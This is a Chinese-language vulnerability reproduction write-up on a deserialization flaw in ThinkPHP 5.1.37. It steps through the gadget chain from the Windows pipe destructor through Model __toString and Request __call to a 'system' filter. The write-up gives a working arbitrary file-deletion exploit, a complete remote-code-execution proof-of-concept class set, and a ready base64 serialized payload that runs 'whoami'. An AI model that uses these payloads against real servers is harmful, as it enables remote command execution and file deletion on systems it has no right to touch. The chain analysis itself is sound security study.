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    003-Thinkphp 5.1.37 反序列化漏洞.md
    11.03 KB / 2021-07-17 00:01:32
        # Thinkphp 5.1.37 反序列化漏洞
    
    ### 一、漏洞简介
    
    所有Thinkphp版本下载链接
    
    https://packagist.org/packages/topthink/framework
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    环境搭建
    
    
    ```
    composer create-project topthink/think=5.1.37 v5.1.37
    ```
    
    poc演示截图
    
    ![](images/15893517545967.png)
    
    
    调用链
    
    ![](images/15893517598983.png)
    
    
    单步调试
    
    漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。
    
    
    ```php
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
    ```
    
    
    ```php
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ```
    
    这里同时也存在一个任意文件删除的漏洞,exp如下
    
    
    ```php
    <?php
    namespace think\process\pipes;
    class Pipes{
    }
    
    class Windows extends Pipes
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php'];
        }
    }
    
    echo base64_encode(serialize(new Windows()));
    ```
    
    这里$filename会被当做字符串处理,而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。
    
    ![](images/15893517887073.png)
    
    
    
    ```php
    //thinkphp\library\think\model\concern\Conversion.php
    public function __toString()
    {
        return $this->toJson();
    }
    ```
    
    
    ```php
    //thinkphp\library\think\model\concern\Conversion.php
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ```
    
    
    ```php
    //thinkphp\library\think\model\concern\Conversion.php
    public function toArray()
    {
        $item       = [];
        $hasVisible = false;
        ...
        if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
           if (is_array($name)) {
             // 追加关联对象属性
             $relation = $this->getRelation($key);
    
             if (!$relation) {
              $relation = $this->getAttr($key);
              if ($relation) {
                  $relation->visible($name);
              }
             }
        ...
    }
    ```
    
    
    ```php
    //thinkphp\library\think\model\concern\Attribute.php
    public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        。。。
        return $value;
    }
    ```
    
    
    ```php
    //thinkphp\library\think\model\concern\Attribute.php
    public function getData($name = null)
    {
        if (is_null($name)) {
           return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
           return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
           return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }
    ```
    
    这里的$this->append是我们可控的,然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可,然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控,之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里
    
    ![](images/15893518328002.png)
    
    
    可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。
    
    目前我们所能控制的内容就是
    
    ![](images/15893518389695.png)
    
    
    也就是我们能调用任意类的任意方法。
    
    下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法
    
    
    ```php
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
           // 获取原始数据
           return $data;
        }
    
        $name = (string) $name;
        if ('' != $name) {
           // 解析name
           if (strpos($name, '/')) {
             list($name, $type) = explode('/', $name);
           }
    
           $data = $this->getData($data, $name);
    
           if (is_null($data)) {
             return $default;
           }
    
           if (is_object($data)) {
             return $data;
           }
        }
    
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);
    
        if (is_array($data)) {
           array_walk_recursive($data, [$this, 'filterValue'], $filter);
           if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                    // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                    $this->arrayReset($data);
                }
         } else {
            $this->filterValue($data, $name, $filter);
         }
         。。。
    ```
    
    
    ```php
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
           $filter = [];
        } else {
           $filter = $filter ?: $this->filter;
           if (is_string($filter) && false === strpos($filter, '/')) {
             $filter = explode(',', $filter);
           } else {
             $filter = (array) $filter;
           }
        }
    
        $filter[] = $default;
    
        return $filter;
    }
    ```
    
    
    ```php
    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
           if (isset($data[$val])) {
             $data = $data[$val];
           } else {
             return;
           }
        }
    
        return $data;
    }
    ```
    
    这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数
    
    ![](images/15893518655678.png)
    
    
    
    ```php
    public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
           $method = $this->method(true);
    
           // 自动获取请求变量
           switch ($method) {
             case 'POST':
              $vars = $this->post(false);
              break;
             case 'PUT':
             case 'DELETE':
             case 'PATCH':
              $vars = $this->put(false);
              break;
             default:
              $vars = [];
           }
    
           // 当前请求参数和URL地址中的参数合并
           $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    
           $this->mergeParam = true;
        }
    
        if (true === $name) {
           // 获取包含文件上传信息的数组
           $file = $this->file();
           $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
    
           return $this->input($data, '', $default, $filter);
        }
    
        return $this->input($this->param, $name, $default, $filter);
    }
    ```
    
    
    ```php
    array_merge($this->param, $this->get(false), $vars, $this->route(false));
    ```
    
    
    ```php
    public function get($name = '', $default = null, $filter = '')
    {
        if (empty($this->get)) {
           $this->get = $_GET;
        }
    
        return $this->input($this->get, $name, $default, $filter);
    }
    ```
    
    
    ```php
    public function route($name = '', $default = null, $filter = '')
    {
        return $this->input($this->route, $name, $default, $filter);
    }
    ```
    
    
    ```php
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
           // 获取原始数据
           return $data;
        }
        ...
    }
    ```
    
    可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯。
    
    
    ```php
    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    
        if (true === $ajax) {
           return $result;
        }
    
        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }
    ```
    
    可以看到这里$this->config['var_ajax']可控,那么也就是name可控,所有条件聚齐。成功导致rce。
    
    ![](images/15893519082534.png)
    
    
    补充:
    
    
    ```php
    <?php
    
    function filterValue(&$value,$key,$filters){
        if (is_callable($filters)) {
                    // 调用函数或者方法过滤
                    $value = call_user_func($filters, $value);
                }
        return $value;
    }
    
    $data = array('input'=>"asdfasdf",'id'=>'whoami');
    array_walk_recursive($data, "filterValue", "system");
    ```
    
    ![](images/15893519500372.png)
    
    
    poc v5.1.37
    
    
    ```php
    <?php
    namespace think;
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct(){
            $this->append = ["ethan"=>["dir","calc"]];
            $this->data = ["ethan"=>new Request()];
        }
    }
    class Request
    {
        protected $hook = [];
        protected $filter = "system";
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '_ajax',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
    namespace think\process\pipes;
    
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
    namespace think\model;
    
    use think\Model;
    
    class Pivot extends Model
    {
    }
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    /*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
    ?>
    ```
    
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